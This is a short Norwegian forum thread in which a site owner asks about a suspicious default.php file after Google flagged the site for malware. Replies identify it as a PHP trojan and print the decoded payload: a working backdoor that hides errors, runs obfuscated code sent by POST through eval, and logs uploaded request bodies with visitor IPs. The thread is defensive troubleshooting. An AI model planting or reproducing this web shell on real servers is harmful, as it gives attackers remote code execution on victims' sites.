Skadelig programvare

Fikk en mail fra Google om at en av mine nettsider inneholdt skadelig programvare og at de har satt opp en advarsel når man går inn på siden.

Det eneste jeg finner av mystiske ting (dette er en statisk html-side, så det er ikke veldig mange filer å lete igjennom) er denne filen som heter default.php:

Kode:

Stor sjangs for at det er denne som roter det til?

Det der er en PHP trojan'er, så ja, det er nok stor sjanse for at den ikke slipper gjennom hos Google?

Finner du ikke ut av hvordan den havnet der så kommer den nok igjen.

eval gzinflate base64_decode Online Decode Tool sier:

@error_reporting(0); @ini_set("display_errors",0); @ini_set("log_errors",0); @ini_set("error_log",0); if (isset($_GET['r'])) { print $_GET['r']; } elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); } elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { $data = file_get_contents('php://input'); if (strlen($data) > 0) print 'STATUS-IMPORT-OK'; if (strlen($data) > 12) { $fp=@fopen('tmpfile','a'); @flock($fp, LOCK_EX); @fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n"); @flock($fp, LOCK_UN); @fclose($fp); } } exit;
